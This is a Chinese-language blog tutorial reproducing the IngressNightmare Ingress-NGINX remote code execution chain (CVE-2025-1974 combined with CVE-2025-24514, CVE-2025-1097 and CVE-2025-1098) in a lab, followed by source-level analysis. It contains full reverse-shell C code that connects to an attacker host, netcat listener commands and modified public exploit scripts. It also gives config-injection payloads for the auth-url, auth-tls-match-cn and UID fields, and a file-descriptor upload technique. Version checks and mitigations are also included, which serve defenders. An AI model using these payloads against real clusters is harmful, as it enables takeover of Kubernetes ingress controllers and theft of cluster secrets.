IngressNightmare CVE-2025-1974 RCE漏洞复现(超详细)

近期,Ingress-Nginx爆出CVSS评分高达9.8的CVE-2025-1974 RCE漏洞,该漏洞可以和IngressNightmare系列漏洞中的其他模板注入漏洞一起使用达成RCE,本文对其中的3种漏洞组合进行了复现和原理分析。

近期,Ingress-Nginx爆出CVSS评分高达9.8的RCE漏洞,这里对其做了漏洞复现和原理分析。

需特别说明的是,RCE漏洞CVE-2025-1974需和IngressNightmare系列漏洞中的其他模板注入漏洞一起使用才可达成攻击目的。本文会给出3种漏洞组合的复现和原理分析,分别为:

漏洞组合描述
CVE-2025-1974 + CVE-2025-24514通过 auth-url 注释注入RCE
CVE-2025-1974 + CVE-2025-1097通过 auth-tls-match-cn 注释注入RCE
CVE-2025-1974 + CVE-2025-1098通过镜像 UID 注入RCE

本文力求深入浅出通俗易懂,即使你是云安全方面的小白,也能带你手把手从环境搭建到漏洞复现到漏洞分析。如果觉得本文对你有帮助,欢迎点赞留言+关注本公众号【云原生安全指北】。有不懂的也欢迎在文末评论留言交流^_^

全文大纲如下,有不想看的章节可自行跳过:

image.png

一、背景

1.1 Ingress-Nginx介绍

Ingress是Kubernetes中的一种API对象,用于管理外部访问集群内服务的规则,提供HTTP/HTTPS路由、负载均衡和基于名称的虚拟主机等功能。它充当集群入口流量的统一控制层,解耦服务暴露与路由策略。

而 Ingress-nginx 是一个基于NGINX的 Kubernetes Ingress 控制器,用于管理集群入口流量。它通过监听 Kubernetes API 的 Ingress 资源规则,动态配置 NGINX 以实现 HTTP/HTTPS 路由、负载均衡、TLS 终止和路径重写等功能,是 Kubernetes 中广泛使用的 Ingress 解决方案之一。

1.2 CVE-2025-1974漏洞介绍

这里仅做简单介绍,漏洞成因及深入分析详见后文第三节。

1.2.1 漏洞描述

CVE-2025-1974是由Wiz团队发现的一个Ingress-nginx组件漏洞,CVSS评分高达9.8。由于Kubernetes Pod中部署的准入控制器无需认证即可通过集群中的任意pod网络访问,攻击者可以通过向ingress-nginx发送特制的AdmissionReview请求,远程注入任意的NGINX配置,ingress-nginx在其后会对nginx配置进行测试,从而触发埋藏的恶意指令,导致Ingress-nginx中的任意代码执行。

1.2.2 影响版本

  • ingress-nginx≤ 1.11.4
  • ingress-nginx=1.12.0

1.2.3 漏洞检查

在任一能够连接k8s集群的主机上执行命令检查是否使用ingress-nginx:

kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx

若存在返回的pod详情,则说明集群使用了ingress-nginx组件。

使用命令查看其镜像tag,可以查看版本号是否在受影响范围内:

kubectl describe pod ingress-nginx-controller-f4b86cbdc-6wkzn -n ingress-nginx | grep Image:

image.png

1.2.4 漏洞修复/缓解措施

可通过以下方式修复漏洞,或采取缓解措施降低风险:

  • 升级ingress-nginx组件至版本>1.12.0
  • 使用 controller.admissionWebhooks.enabled=false 参数重新安装ingress-nginx
  • 删除名为 ingress-nginx-admissionValidatingWebhookConfiguration ,并从 ingress-nginx-controller 容器的 Deployment 或 DaemonSet 中删除 --validating-webhook 参数。

二、漏洞复现

CVE-2025-1974作为一个RCE漏洞,需和IngressNightmare系列中其他漏洞一起使用才可达成攻击目的,这里给出几种漏洞组合复现:

CVE-2025-1974+?CVE-2025-24514CVE-2025-1097CVE-2025-1098
漏洞组合描述通过 auth-url 注释注入RCE通过 auth-tls-match-cn 注释注入RCE通过镜像 UID 注入RCE
漏洞复现章节2.12.22.3
漏洞分析章节3.1.0 + 3.1.13.1.0 + 3.1.23.1.0 + 3.1.3

2.0 环境搭建

本文搭建了以下环境用于漏洞复现:

  • 两台ubuntu虚拟机:
    • 靶机云环境:192.168.2.133
    • 接收反弹shell:192.168.2.130
  • k8s v1.28.1
  • Ingress-Nginx v1.9.5
  • Python 3.11.7容器

注:除特别说明使用攻击机外,所有操作均在靶机上执行

2.0.1 云环境搭建

鉴于1.2中漏洞描述的受影响版本号,参考ingress-nginx官方适配k8s版本,k8s可任选1.20-1.32之间的版本进行安装。

可选安装方案:

  1. 按照这个教程搭建k8s环境,并安装kubectl
  2. 使用Metartget直接安装k8s:./metarget gadget install k8s --version 1.28.1

2.0.2 Ingress-Nginx安装

  1. 安装版本选取

参考ingress-nginx官方适配k8s版本,根据2.1.1中安装的k8s版本对应的Ingress-Nginx安装

这里本文k8s版本为1.28.1,选取Ingress-Nginx v1.9.5进行安装

  1. 下载deployment文件

Deployment 是 Kubernetes 中用于声明式管理 Pod 副本集的资源对象,支持滚动更新、回滚和扩缩容等操作,确保应用始终处于预期状态。其声明文件使用yaml的格式像书写配置一样定义要运行多少个相同的程序(Pod)、用什么版本,之后它会按照该“说明手册”自动处理部署、更新和故障恢复,保证服务不中断。

使用命令下载Ingress-Nginx的deployment(其中的版本号根据上一步选取的版本号替换):

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.9.5/deploy/static/provider/baremetal/deploy.yaml
  1. 更改镜像源

由于一些众所周知的原因,使用默认的docker/containerd镜像源无法成功下载到镜像,因此这里对deployment文件进行更改,替换其镜像源。

首先查询ingress-nginx所需镜像:

cat deploy.yaml | grep image:
>         image: registry.k8s.io/ingress-nginx/controller:v1.9.5@sha256:b3aba22b1da80e7acfc52b115cae1d4c687172cbf2b742d5b502419c25ff340e
>        image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80
>        image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80

这里使用https://docker.aityp.com/搜索关键词ingress-nginx/controller:v1.9.5ingress-nginx/kube-webhook-certgen:v20231011

image.png

点击镜像标题,进入详情页,复制镜像代理地址:

image.png

更改deploy.yaml中对应位置的镜像地址,更改后使用命令查看如下:

cat deploy.yaml | grep image:
>        image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.9.5
>        image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0
>        image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0
  1. 部署ingress-nginx

使用以下命令部署:

kubectl apply -f deploy.yaml

image.png

部署完成后可通过命令查看部署情况(其中的-n参数表示指定命名空间为ingress-nginx):

kubectl get all -n ingress-nginx

正常情况下显示如下信息即表明部署成功(注意前几行的status):

image.png

pod/ingress-nginx-xxx后的status常见情况如下:

  • ContainerCreating:容器正在创建,耐心等待即可
  • ImagePullBackOff:镜像拉取失败,需检查镜像源是否ok
  • Pending:调度失败或资源不足
  • Completed:成功执行并正常退出
  • Running:运行中

如果pod的status为Pending,可使用命令查看pod详情:

kubectl describe pod ingress-nginx-controller-58ddb59f6b-p9pns -n ingress-nginx

如果k8s集群为单节点,即只有一台机器安装了k8s节点,那么可能会遇到报错如下:

0/1 nodes are available: 1 node(s) had untolerated taint {node-role.kubernetes.io/control-plane: }. preemption: 0/1 nodes are available: 1 Preemption is not helpful for scheduling..

该错误表明节点存在不可容忍的污点,导致pod无法调度到该节点上,可通过命令查看并移除污点:

kubectl get node
kubectl describe node k8s-master01 | grep Taint
kubectl taint nodes k8s-master01 node-role.kubernetes.io/control-plane:NoSchedule-
kubectl describe node k8s-master01 | grep Taint

image.png

操作完成后,再次查看pod状态,可发现其恢复正常

2.0.3 镜像准备

这里构建一个镜像用于模拟失陷容器。

  1. 镜像构建
    编写Dockerfile:
# 使用官方Python基础镜像
FROM python:3.11.7

# 设置工作目录
WORKDIR /app

# 安装requests库
RUN pip install --no-cache-dir httpx

# 设置容器启动时运行的命令
CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]
  1. 镜像编译
    使用命令编译镜像:
 docker build -t python-test-ingress-nginx .

image.png

将docker镜像加载到containerd中:

docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -

查看containerd镜像:

 sudo ctr -n k8s.io image ls | grep python

image.png

复制新的镜像tag以备后续部署

  1. 镜像部署

编写deployment文件python_deploy.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: python-app
  namespace: test
spec:
  replicas: 1
  selector:
    matchLabels:
      app: python-app
  template:
    metadata:
      labels:
        app: python-app
    spec:
      containers:
      - name: python-container
        image: docker.io/library/python-test-ingress-nginx:latest
        imagePullPolicy: Never

执行命令新建test命名空间并部署:

kubectl create ns test
kubectl apply -f python_deploy.yaml

查看其状态是否为running:

kubectl get pod -n test

image.png

2.0.4 下载poc/exp

本文使用的exp为yoshino-s/CVE-2025-1974 ,该exp以CVE-2025-24514+CVE-2025-1974的漏洞组合实现攻击。后续其他攻击复现都在该exp基础上进行更改。
使用命令下载payload,并进入到CVE-2025-1974目录:

git clone https://github.com/yoshino-s/CVE-2025-1974.git
cd CVE-2025-1974

本文模拟从失陷容器中直接发起攻击(更贴近真实攻击场景),因此不采用proxy的方式,需修改exploit.py,在其第12、13行前添加#以注释语句:

#admission_url = "https://localhost:18443/networking/v1/ingresses"
#url = "http://localhost:8080/fake/addr"

同时,修改其中的25行的遍历进程id的范围,更改后为:

        for pid in range(26, 90):

上述数值通过不断地重启ingress-nginx-controller的pod查看其nginx进程而得,算是经验性的范围。

2.0.5 .so文件准备

修改shell.c文件中的服务器地址和端口为攻击机的ip和反弹shell的端口(随意指定,这里指定为9988),修改后的shell.c文件为:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    char *server_ip="192.168.2.130";
    uint32_t server_port=9988;
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    char *args[] = {"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);

}

使用命令编译shell.c文件为shell.so:

gcc -fPIC -Wall -shared -o shell.so shell.c -lcrypto

通过以下命令上传文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传:

kubectl cp -n test ./shell.so python-app-546fb5495b-vvgwb:/app/

2.1 结合CVE-2025-24514:通过 auth-url 注释注入RCE

2.1.1 Exp准备

通过以下命令上传exp文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传:

kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/

2.1.2 Exp执行

  1. 在攻击机中执行命令监听:
nc -lvnp 9988
  1. 通过以下命令进入容器中,模拟失陷容器命令执行:
kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
  1. 在容器中执行命令运行exp:
python ./exploit.py

稍等片刻,即可看到反弹shell成功:

image.png

2.2 结合CVE-2025-1097:通过 auth-tls-match-cn 注释注入RCE

2.2.1 Exp准备

修改req.json中的request.object.metadata.annotations,修改后为:

        "annotations": {
          "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine xxx;\n#",
          "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs",
          "nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
        }

修改exploit.py文件中的28-30行,将其改为:

data["request"]["object"]["metadata"]["annotations"]["nginx.ingress.kubernetes.io/auth-tls-match-cn"] = "CN=abc #(\n){}\n }}\nssl_engine %s;\n#" % (p,)

将修改后的exp上传到容器中(这里exploit.py重命名为了exp.py以作区分):

kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exploit_24514.py

2.3.2 Exp执行

和前面的方法类似,在攻击机中执行命令监听:

nc -lvnp 9988

进入容器中,在容器中执行命令运行exp:

kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
python ./exploit_24514.py

稍等片刻,即可看到反弹shell成功:

image.png

2.3 结合CVE-2025-1098:通过镜像 UID 注入RCE

2.3.1 Exp准备

修改req.json中的request.object.metadata,修改后为:

      "metadata": {
        "uid": "test",
        "name": "xxx",
        "namespace": "default",
        "creationTimestamp": null,
        "annotations": {
          "nginx.ingress.kubernetes.io/mirror-target": "test"
        }
      },

修改exploit.py文件中的28-30行,将其改为:

data["request"]["object"]["metadata"]["uid"] = "test;\n\n}\n}\n}\nssl_engine %s" % (p,)

将修改后的exp上传到容器中(这里exploit.py重命名为了exp.py以作区分):

kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exp.py

2.3.2 Exp执行

和前面的方法类似,在攻击机中执行命令监听:

nc -lvnp 9988

进入容器中,在容器中执行命令运行exp:

kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
python ./exp.py

稍等片刻,即可看到反弹shell成功:

image.png

三、漏洞分析

3.1 漏洞原理分析

3.1.0 CVE-2025-1974:RCE远程命令执行

Kubernetes中的准入控制器(Admission Controller)是在API请求持久化之前拦截并处理请求的插件机制,用于强制实施自定义策略或验证资源规范,其Pod通常在集群内以较高的权限运行。

该机制在对象创建、更新或删除时触发,可修改(Mutating)或验证(Validating)请求内容,例如注入Sidecar容器、校验资源配额或实施安全策略。通过动态准入控制(如ValidatingWebhookMutatingWebhook),用户能扩展K8s的准入逻辑而无须修改APIServer代码。

由于准入控制器本质上可看做一个Web服务器,通常不需要身份验证,因此其允许攻击者直接从网络中的任何 pod 访问,从而扩大了攻击面。

3.1.0.1 漏洞攻击

原理如图所示:

image.png

该漏洞可通过两种方途径触发:

  • 若Ingress-Nginx准入控制器暴露在外部,那么攻击者可以直接从外部向ingress-nginx发送恶意请求
  • 否则,若集群中存在失陷容器(例如:集群中一个web应用的Pod,存在SSRF或RCE漏洞),攻击者可通过失陷容器作为跳板,向ingress-nginx发送恶意请求

步骤分析如下:

  1. 发送恶意的AdmissionReview请求

由于k8s中的准入控制器支持动态准入控制,且向准入控制器发送请求无需任何身份认证,因此,攻击者可向ingress-nginx的准入控制器发送一个恶意的AdmissionReview请求,该请求包含了一个含有ssl_engine指令的payload配置。

注:payload原理为模板注入,详见后续漏洞原理分析章节3.1.1、3.1.2、3.1.3。

  1. AdmissionReview请求处理

当ingress-nginx的准入控制器收到AdmissionReview请求时,会根据模板文件和提供的 Ingress 对象生成一个临时的 nginx 配置文件。在解析请求的过程中,ingress-nginx控制器存在模板注入漏洞,通过该漏洞,将恶意指令ssl_engine注入到了配置文件中(该部分原理分析见章节3.1.1、3.1.2、3.1.3)。
在Nginx临时配置文件生成完成后,ingress-nginx控制器会使用形如nginx -c /tmp/nginx/xxx -t 的命令测试配置文件有效性:

image.png

nginx -t 命令被执行时,若配置文件中存在nginx指令,则指令会被执行。ssl_engine是一个能够在nginx中加载共享库的指令,且其可以存在于配置文件中的任意位置,因此,可以使用该指令去加载恶意库,从而达成攻击目的(例如:反弹shell)。

3.1.0.2 恶意共享库投递

ingress-nginx中不存在可以直接利用的恶意共享库,因此需要将其上传到容器中。(该步骤应在发送请求之前,但这里为了阐述逻辑连贯,将其置于此处描述)

其机制和过程如图所示:

image.png

进入到ingress-nginx-controller的pod中,可以看到其除了运行controller外,还运行nginx,其监听端口80/443:

image.png

nginx存在一个特性,在处理请求时,如果http请求体大于某个阈值(默认为 8KB),就会将请求体body保存到临时文件中:

image.png

因此,可以利用这种特性,将恶意库的内容作为请求体body,发送一个大于其阈值的http请求,这样nginx就会将其保存到pod中的临时目录。

尽管nginx会立即删除该文件,但nginx持有指向该文件的文件描述符fd,可以通过形如/proc/xx/fd/xxx 的形式访问该文件。

这里拿步骤2.0.5中的so文件做一个测试:

首先修改ingress-nginx-controller的deployment:

kubectl edit deploy ingress-nginx-controller -n ingress-nginx

修改spec.template.spec.containers.args.securityContext处配置,开启调试模式,修改后的securityContext配置如下:

        securityContext:
          allowPrivilegeEscalation: true
          capabilities:
            add:
            - NET_BIND_SERVICE
            drop:
            - ALL
          privileged: true
          readOnlyRootFilesystem: false
          runAsNonRoot: false
          runAsUser: 0
          seccompProfile:
            type: RuntimeDefault

然后执行命令查看并进入新的ingress-nginx-controller容器:

kubectl get pod -n ingress-nginx
kubectl exec -it ingress-nginx-controller-f4b86cbdc-pzb6r -n ingress-nginx -- bash

image.png

打开新的标签页,进入任一包含该文件的其他容器,执行命令:

curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"

为了保持文件描述符fd打开,这里设置了Content-Length为大于原文件大小(原文件大小可通过ls -la查看,这里为16576)的数值,还设置了Content-Type为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。

然后回到ingress-nginx-controller容器,查看nginx的fd,可以看到存在指向被删除的临时文件的fd:

image.png

由于该操作是基于nginx进程完成,而处理恶意AdmissionReview请求的进程为ingress-nginx-controller,因此无法通过/proc/self/fd/xxx的方式去访问该文件描述符fd,因此,在漏洞利用过程中需要发起多个恶意的AdmissionReview请求,爆破进程pid和文件描述符id,才能找到上传的共享库文件。

3.1.0.3 Exp分析

该漏洞攻击步骤主要分为两个部分:恶意共享库上传和发起恶意的AdmissionReview请求。其原理已在上方3.1.0.1、3.1.0.2中分析过了,这里对其exp进行分析。

3.1.0.3.1 恶意共享库上传

要达成恶意共享库上传,要点在于:

  1. 库文件超过8kb
  2. 维持长时间http连接,以保持fd开放

难点在于第2个条件。这里结合网上公开的exp进行分析,分别有三种方式:

  1. 直接使用curl上传,携带特制的请求头,例如步骤3.1.0.2中使用的命令:
curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"

上述命令中,设置了Content-Length为大于原文件大小的数值,并设置Content-Type为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。

  1. hakaioffsec/IngressNightmare-PoC使用类似上个方法的原理,通过Python脚本发起请求:
def exploit(ingress_url):
    with open("evil_engine.so", "rb") as f:
        evil_engine = f.read()
    ...

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"Error connecting to {host}:{port}: {e} - host is up?")
        sys.exit(0)
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode("iso-8859-1")

    http_payload = headers + evil_engine
    sock.sendall(http_payload)
  1. yoshino-s/CVE-2025-1974 使用Python脚本中的asyncio库,通过__aiter__方法定义了一个异步迭代器,并在其中使用await asyncio.sleep(60 * 60 * 60)在第二次迭代时休眠60小时,创造了一个长时间保持打开的http连接,从而也达到了让nginx持续等待进程挂起的作用:
with open("shell.so", "rb") as f:
    shellcode = f.read()
...
async def upload():
    class FakeIterator:
        def __init__(self):
            self.done = False

        async def __aiter__(self):
            yield shellcode
            await asyncio.sleep(60 * 60 * 60)

    async with httpx.AsyncClient() as client:
        res = await client.post(
            url,
            data=FakeIterator(),
        )
        print("Posting done")
3.1.0.3.2 发起恶意AdmissionReview请求

一般情况下,AdmissionReview请求由k8s的api server发起,但由于 Admission Controller 缺乏身份验证,因此集群中的任何 pod 都可以制作并发送任意AdmissionReview 请求。

可以使用 kube-review 从 Ingress resource manifests创建AdmissionReview请求,示意如下:

{ 
    "kind": "AdmissionReview", 
    "apiVersion": "admission.k8s.io/v1", 
    "request": { 
        "uid": "732536f0-d97e-4c9b-94bf-768953754aee", 
... 
        "name": "test", 
        "namespace": "default", 
        "operation": "CREATE", 
... 
        "object": { 
            "kind": "Ingress", 
            "apiVersion": "networking.k8s.io/v1", 
            "metadata": { 
                "name": "test", 
                "namespace": "default", 
... 
                "annotations": { 
                    "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" 
                } 
            }, 
            "spec": { 
                "ingressClassName": "nginx", 
                "rules": [
                    { 
                        "host": "test.com", 
                        "http": { 
                            "paths": [ 
                                { 
                                    "path": "/", 
                                    "pathType": "Prefix", 
                                    "backend": { 
                                        "service": { 
                                            "name": "test", 
                                            "port": {} 
                                        } 
                                    } 
                                } 
                            ] 
                        } 
                    } 
                ] 
            }, 
... 
    } 
} 

其中,ingress-nginx-admission-controller在解析其中的request.object.annotations 时存在模板注入漏洞,因此漏洞的payload会在这里携带精心构造的恶意指令。而恶意指令的构造就涉及到其他模板注入漏洞了,其原理分析详见后续章节3.1.1、3.1.2、3.1.3。

发起恶意AdmissionReview请求时,由于无法确定nginx进程号和指向上传的恶意库文件的文件描述符fd,因此需要遍历进程号和fd,并将其插入到构造的模板注入指令后。因此,可以看到两个exp中均存在进程和fd的遍历操作。

hakaioffsec/IngressNightmare-PoC 中的遍历操作如下:

   with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, 50): # can be increased to 100
            for fd in range(3, 30): # can be increased to 100 (not recommended)
                executor.submit(send_request, admission_url, json_data, proc, fd)
...
 def send_request(admission_url, json_data, proc, fd):
    ...
    path = f"proc/{proc}/fd/{fd}"
...

yoshino-s/CVE-2025-1974 中的遍历操作如下:

        for pid in range(30, 90):
            for fd in range(10, 40):
                p = f"/proc/{pid}/fd/{fd}"
                data["request"]["object"]["metadata"]["annotations"][
                    "nginx.ingress.kubernetes.io/auth-url"
                ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,)

3.1.1 CVE-2025-24514:auth-url 注释注入

在解析AdmissionReview请求中的request.object.annotations 配置时,若配置为身份验证相关的auth-url

        "annotations": {
          "nginx.ingress.kubernetes.io/auth-url": "http://test.com"
        }

会采用authreq解析器去处理(注意其中的urlString变量):

func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
    // Required Parameters
    urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
    if err != nil {
        return nil, err
    }

    authURL, err := parser.StringToURL(urlString)
    if err != nil {
        return nil, ing_errors.LocationDeniedError{Reason: fmt.Errorf("could not parse auth-url annotation: %v", err)}
    }
...
    return &Config{
        URL:                    urlString,
        ...
    }, nil

解析完成后,在创建临时配置文件时,上述返回值中的Config.URL会作为$externalAuth.URL直接注入到模板中:

proxy_http_version 1.1; 
proxy_set_header Connection ""; 
set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }}; 
{{ else }} 
proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }}; 
set $target {{ $externalAuth.URL }}; 
{{ end }} 
proxy_pass $target;

从上述authreq解析代码中可以看出,只要配置值能够通过parser.StringToURL 解析成功,就可以直接注入到nginx配置模板中,因此,可以构造以下payload:

"nginx.ingress.kubernetes.io/auth-url": "http://test.com/#;\nssl_engine /proc/xx/fd/xx;" 

经过模板注入后,生成的nginx配置如下所示:

... 
proxy_http_version 1.1; 
set $target http://example.com/#; 
ssl_engine /proc/xx/fd/xx;
proxy_pass $target; 
... 

yoshino-s/CVE-2025-1974 采用的就是这种方式:

                data["request"]["object"]["metadata"]["annotations"][
                    "nginx.ingress.kubernetes.io/auth-url"
                ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,)

3.1.2 CVE-2025-1097:auth-tls-match-cn 注释注入

在解析AdmissionReview请求中的request.object.annotations 配置时,若配置为auth-tls-match-cn

        "annotations": {
          "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#",
          "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs"
        }

会采用authtls解析器去处理(注意其中的annotationAuthTLSMatchCNconfig.MatchCN):


const (
        ...
    annotationAuthTLSSecret             = "auth-tls-secret" //#nosec G101
    annotationAuthTLSMatchCN            = "auth-tls-match-cn"
)
...
var authTLSAnnotations = parser.Annotation{
    Group: "authentication",
    Annotations: parser.AnnotationFields{
        annotationAuthTLSSecret: {
            Validator:     parser.ValidateRegex(parser.BasicCharsRegex, true),
            Scope:         parser.AnnotationScopeLocation,
            Risk:          parser.AnnotationRiskMedium, // Medium as it allows a subset of chars
            Documentation: `This annotation defines the secret that contains the certificate chain of allowed certs`,
        },
                ...
        annotationAuthTLSMatchCN: {
            Validator:     parser.CommonNameAnnotationValidator,
            Scope:         parser.AnnotationScopeLocation,
            Risk:          parser.AnnotationRiskHigh,
            Documentation: `This annotation adds a sanity check for the CN of the client certificate that is sent over using a string / regex starting with "CN="`,
        },
    },
}
...
func (a authTLS) Parse(ing *networking.Ingress) (interface{}, error) {
    var err error
    config := &Config{}

    tlsauthsecret, err := parser.GetStringAnnotation(annotationAuthTLSSecret, ing, a.annotationConfig.Annotations)
    if err != nil {
        return &Config{}, err
    }
        ...
        config.MatchCN, err = parser.GetStringAnnotation(annotationAuthTLSMatchCN, ing, a.annotationConfig.Annotations)
    if err != nil {
        if ing_errors.IsValidationError(err) {
            return &Config{}, err
        }
        config.MatchCN = ""
    }

    return config, nil
}

从上述代码中可以看到该字段采用CommonNameAnnotationValidator去做校验,校验方法代码如下:

func CommonNameAnnotationValidator(s string) error {
    if !strings.HasPrefix(s, "CN=") {
        return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s)
    }

    if _, err := regexp.Compile(s[3:]); err != nil {
        return fmt.Errorf("value %s is not a valid regex: %w", s, err)
    }

    return nil
}

只要该字段值以CN=开头,并且剩余字符符合正则表达式语法,即可校验成功。

该字段对应nginx配置模板中的$server.CertificateAuth.MatchCN ,nginx模板如下:

       set $proxy_upstream_name "-";
       {{ if not ( empty $server.CertificateAuth.MatchCN ) }}
        {{ if gt (len $server.CertificateAuth.MatchCN) 0 }}
        if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {
            return 403 "client certificate unauthorized";
        }
        {{ end }}
        {{ end }}

因此,可以构造符合要求的payload:

"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#",

经过解析后,nginx配置如下所示:

... 
set $proxy_upstream_name "-";  
if ( $ssl_client_s_dn !~ CN=abc #(  
){} }} 
ssl_engine /proc/xx/fd/xx; 
# ) {  
return 403 "client certificate unauthorized"; } 
... 

由于上述authtls解析器代码中Parse函数会校验auth-tls-secret是否为空:

image.png

因此需要同时携带nginx.ingress.kubernetes.io/auth-tls-secret 参数才可以正常生成nginx配置文件,该参数对应于集群中存在的 TLS 证书或密钥对。由于 Ingress NGINX 使用的服务帐户可以访问集群中的所有密钥,因此我们可以从任何命名空间指定任何密钥名称,只要其符合所需的 TLS 证书/密钥对格式即可,以下值均可使用:

kube-system/konnectivity-certs 
kube-system/azure-wi-webhook-server-cert 
kube-system/aws-load-balancer-webhook-tls 
kube-system/hubble-server-certs 
kube-system/cilium-ca 
calico-system/node-certs 
cert-manager/cert-manager-webhook-ca 
linkerd/linkerd-policy-validator-k8s-tls 
linkerd/linkerd-proxy-injector-k8s-tls 
linkerd/linkerd-sp-validator-k8s-tls 

hakaioffsec/IngressNightmare-PoC 采用的payload如下:

        "annotations": {
          "nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine ../../../../../../REPLACE;\n#",
          "nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs",
          "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" //该句配置不携带也可以达成攻击目的
        }

3.1.3 CVE-2025-1098:镜像 UID 注入

在解析AdmissionReview请求中的request.object.annotations 配置时,若配置为mirror-target

        "annotations": {
            "nginx.ingress.kubernetes.io/mirror-target": "test"
        }

会采用mirror解析器去处理(注意其中的config.Source):

func (a mirror) Parse(ing *networking.Ingress) (interface{}, error) {
    config := &Config{
        Source: fmt.Sprintf("/_mirror-%v", ing.UID),
    }
        ...
    config.Target, err = parser.GetStringAnnotation(mirrorTargetAnnotation, ing, a.annotationConfig.Annotations)
    if err != nil {
        if errors.IsValidationError(err) {
            klog.Warningf("annotation %s contains invalid value, defaulting", mirrorTargetAnnotation)
        } else {
            config.Target = ""
            config.Source = ""
        }
    }
        ...

这里会对ingress object中的UID直接进行拼接作为config.Source 的值,该字段对应nginx配置模板中的$location.Mirror.Source

            {{ if $location.Mirror.Source }}
            mirror {{ $location.Mirror.Source }};
            mirror_request_body {{ $location.Mirror.RequestBody }};
            {{ end }}

因此,可以构造payload(注意其中的uid):

{ 
    "kind": "AdmissionReview", 
    "apiVersion": "admission.k8s.io/v1", 
    "request": { 
        ... 
        "object": { 
            "kind": "Ingress", 
            "apiVersion": "networking.k8s.io/v1", 
            "metadata": { 
                ... 
                "uid": "test;\n\n}\n}\n}\nssl_engine /proc/xx/fd/xx", 
                "annotations": {
                    "nginx.ingress.kubernetes.io/mirror-target": "test" //这里为任意值都行,只要符合正则表达式语法
                } 
            }, 
... 

注入模板后,nginx配置文件如下所示:

            ...
            mirror /_mirror-test;
        }
    }
}
            ssl_engine /proc/xx/fd/xx;
            mirror_request_body on;
            ...

Esonhugh/ingressNightmare-CVE-2025-1974-exps的payload如下:

{{- if .IsMirrorWithUID }}
        "uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",{{- end }}
        "annotations": {
